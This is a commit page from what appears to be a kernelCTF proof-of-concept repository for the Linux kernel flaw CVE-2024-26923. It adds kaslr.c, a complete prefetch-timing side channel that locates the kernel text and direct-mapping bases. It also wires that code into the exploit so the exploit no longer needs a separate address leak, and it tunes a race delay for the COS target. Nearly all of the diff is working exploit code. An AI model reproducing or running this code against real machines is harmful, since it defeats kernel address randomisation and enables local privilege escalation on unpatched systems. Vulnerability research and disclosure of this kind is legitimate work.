Skip to content

Commit 292688c

Browse files
CVE-2024-26923_lts_cos: add side-channel leaks
1 parent d4ddc72 commit 292688c

File tree

7 files changed

+187
-18
lines changed

7 files changed

+187
-18
lines changed
Binary file not shown.

pocs/linux/kernelctf/CVE-2024-26923_lts_cos/exploit/cos-109-17800.147.54/exploit.c

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -830,7 +830,7 @@ void one_attempt(int tfd, int tfd2, int xattr_fd, int *fds)
830830
.event = g_event1
831831
};
832832

833-
carg.delay1 = 22;
833+
carg.delay1 = 20;
834834
carg.delay2 = 20;
835835
printf("delays: %d %d try: %d\n", carg.delay1, carg.delay2, carg.try);
836836
usleep(50000);

pocs/linux/kernelctf/CVE-2024-26923_lts_cos/exploit/lts-6.6.27/Makefile

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,8 +2,8 @@ INCLUDES =
22
LIBS = -pthread -ldl
33
CFLAGS = -fomit-frame-pointer -static -fcf-protection=none
44

5-
exploit: exploit.c kernelver_6.6.27.h
6-
gcc -o $@ exploit.c $(INCLUDES) $(CFLAGS) $(LIBS)
5+
exploit: exploit.c kaslr.c kernelver_6.6.27.h
6+
gcc -o $@ exploit.c kaslr.c $(INCLUDES) $(CFLAGS) $(LIBS)
77

88
prerequisites:
99
sudo apt-get install libkeyutils-dev
Binary file not shown.

pocs/linux/kernelctf/CVE-2024-26923_lts_cos/exploit/lts-6.6.27/exploit.c

Lines changed: 6 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -71,6 +71,8 @@ static uint64_t g_kernel_text;
7171
char *g_stack1;
7272
#define STACK_SIZE (1024 * 1024) /* Stack size for cloned child */
7373
uint64_t leak_kernel_text();
74+
uint64_t leak_direct_mapping();
75+
7476

7577
static int g_event1;
7678

@@ -941,23 +943,13 @@ int main(int argc, char **argv)
941943
if (setrlimit(RLIMIT_NOFILE, &rlim) < 0)
942944
err(1, "setrlimit()");
943945

944-
if (0 && argc > 1 && (argv[1][0] == 'f' || argv[1][0] == '0')) {
945-
g_kernel_text = strtoull(argv[1], NULL, 16);
946-
printf("Using kernel base: 0x%lx\n", g_kernel_text);
947-
} else {
948-
printf("Using default kernel base, your chance is 1/512, good luck!\nTry providing leaked kernel base as argv[1]\n");
949-
950-
g_kernel_text = 0xffffffff81000000uL;
951-
}
952-
953-
if (argc > 2 && (argv[2][0] == 'f' || argv[2][0] == '0')) {
954-
g_page_offset_base = strtoull(argv[2], NULL, 16);
955-
} else {
956-
g_page_offset_base = 0xffff888000000000L;
957-
}
946+
g_kernel_text = leak_kernel_text();
947+
printf("Using kernel base: 0x%lx\n", g_kernel_text);
958948

949+
g_page_offset_base = leak_direct_mapping();
959950
printf("Using page_offset_base 0x%lx\n", g_page_offset_base);
960951

952+
961953
setbuf(stdout, NULL);
962954

963955
g_mmapped_buf = mmap(NULL, MMAP_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_POPULATE, -1, 0);
Lines changed: 177 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,177 @@
1+
#define _GNU_SOURCE
2+
#include <stdint.h>
3+
#include <stdio.h>
4+
#include <string.h>
5+
#include <sched.h>
6+
#include <unistd.h>
7+
#include <stdlib.h>
8+
#include <fcntl.h>
9+
#include <sys/param.h>
10+
11+
// Some of this code is based on Prefetch Side-Channel work by Daniel Gruss
12+
13+
size_t hit_histogram[4000];
14+
size_t miss_histogram[4000];
15+
16+
inline __attribute__((always_inline)) uint64_t rdtsc_begin() {
17+
uint64_t a, d;
18+
asm volatile ("mfence\n\t"
19+
"RDTSCP\n\t"
20+
"mov %%rdx, %0\n\t"
21+
"mov %%rax, %1\n\t"
22+
"xor %%rax, %%rax\n\t"
23+
"mfence\n\t"
24+
: "=r" (d), "=r" (a)
25+
:
26+
: "%rax", "%rbx", "%rcx", "%rdx");
27+
a = (d<<32) | a;
28+
return a;
29+
}
30+
31+
inline __attribute__((always_inline)) uint64_t rdtsc_end() {
32+
uint64_t a, d;
33+
asm volatile(
34+
"xor %%rax, %%rax\n\t"
35+
"mfence\n\t"
36+
"RDTSCP\n\t"
37+
"mov %%rdx, %0\n\t"
38+
"mov %%rax, %1\n\t"
39+
"mfence\n\t"
40+
: "=r" (d), "=r" (a)
41+
:
42+
: "%rax", "%rbx", "%rcx", "%rdx");
43+
a = (d<<32) | a;
44+
return a;
45+
}
46+
47+
void prefetch(void* p)
48+
{
49+
asm volatile ("prefetchnta (%0)" : : "r" (p));
50+
asm volatile ("prefetcht2 (%0)" : : "r" (p));
51+
}
52+
53+
size_t onlyreload(void* addr) // row hit
54+
{
55+
size_t time = rdtsc_begin();
56+
prefetch(addr);
57+
size_t delta = rdtsc_end() - time;
58+
//maccess((void*)0x500000);
59+
return delta;
60+
}
61+
62+
#define TRIES (1*128*1024)
63+
64+
size_t measure(size_t addr)
65+
{
66+
memset(hit_histogram,0,4000*sizeof(size_t));
67+
68+
for (int i = 0; i < TRIES; ++i)
69+
{
70+
size_t d = onlyreload((void*)addr);
71+
hit_histogram[MIN(3999,d)]++;
72+
}
73+
74+
size_t sum_hit = 0;
75+
size_t hit_max = 0;
76+
size_t hit_max_i = 0;
77+
for (int i = 0; i < 4000; ++i)
78+
{
79+
if (hit_max < hit_histogram[i])
80+
{
81+
hit_max = hit_histogram[i];
82+
hit_max_i = i;
83+
}
84+
sum_hit += hit_histogram[i] * i;
85+
}
86+
87+
return sum_hit / TRIES;
88+
}
89+
90+
91+
uint64_t leak_kernel_text()
92+
{
93+
cpu_set_t set;
94+
uint64_t bad_time, time, addr;
95+
96+
CPU_ZERO(&set);
97+
CPU_SET(0, &set);
98+
99+
if (sched_setaffinity(getpid(), sizeof(set), &set) == -1) {
100+
perror("sched_setaffinity");
101+
return -1;
102+
}
103+
104+
// First measurement is always trash
105+
bad_time = measure(0xffffffff00000000);
106+
107+
bad_time = measure(0xffffffff00000000);
108+
109+
// printf("Timing for non-existent kernel page: %zu\n", bad_time);
110+
111+
for (addr = 0xffffffff81000000L; addr < 0xffffffffff000000L; addr += 0x100000)
112+
{
113+
time = measure(addr);
114+
115+
printf("0x%lx: %zu\n", addr, time);
116+
117+
if (time > 190)
118+
break;
119+
}
120+
121+
// Renable all CPUs
122+
for (int i = 1; i < 4; i++)
123+
{
124+
CPU_SET(i, &set);
125+
}
126+
127+
if (sched_setaffinity(getpid(), sizeof(set), &set) == -1) {
128+
perror("sched_setaffinity");
129+
return -1;
130+
}
131+
132+
return addr;
133+
}
134+
135+
uint64_t leak_direct_mapping()
136+
{
137+
cpu_set_t set;
138+
uint64_t bad_time, time, addr;
139+
140+
CPU_ZERO(&set);
141+
CPU_SET(0, &set);
142+
143+
if (sched_setaffinity(getpid(), sizeof(set), &set) == -1) {
144+
perror("sched_setaffinity");
145+
return -1;
146+
}
147+
148+
// First measurement is always trash
149+
bad_time = measure(0xffffffff00000000);
150+
151+
bad_time = measure(0xffffffff00000000);
152+
153+
// printf("Timing for non-existent kernel page: %zu\n", bad_time);
154+
155+
for (addr = 0xffff888000000000L; addr < 0xffffc88000000000L; addr += 0x10000000)
156+
{
157+
time = measure(addr);
158+
159+
printf("0x%lx: %zu\n", addr, time);
160+
161+
if (time > 190)
162+
break;
163+
}
164+
165+
// Renable all CPUs
166+
for (int i = 1; i < 4; i++)
167+
{
168+
CPU_SET(i, &set);
169+
}
170+
171+
if (sched_setaffinity(getpid(), sizeof(set), &set) == -1) {
172+
perror("sched_setaffinity");
173+
return -1;
174+
}
175+
176+
return addr;
177+
}

pocs/linux/kernelctf/CVE-2024-26923_lts_cos/metadata.json

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -24,7 +24,7 @@
2424
"lts-6.6.27": {
2525
"uses": [
2626
],
27-
"requires_separate_kaslr_leak": true,
27+
"requires_separate_kaslr_leak": false,
2828
"stability_notes": "90% success rate"
2929
},
3030
"cos-109-17800.147.54": {

0 commit comments

Comments
 (0)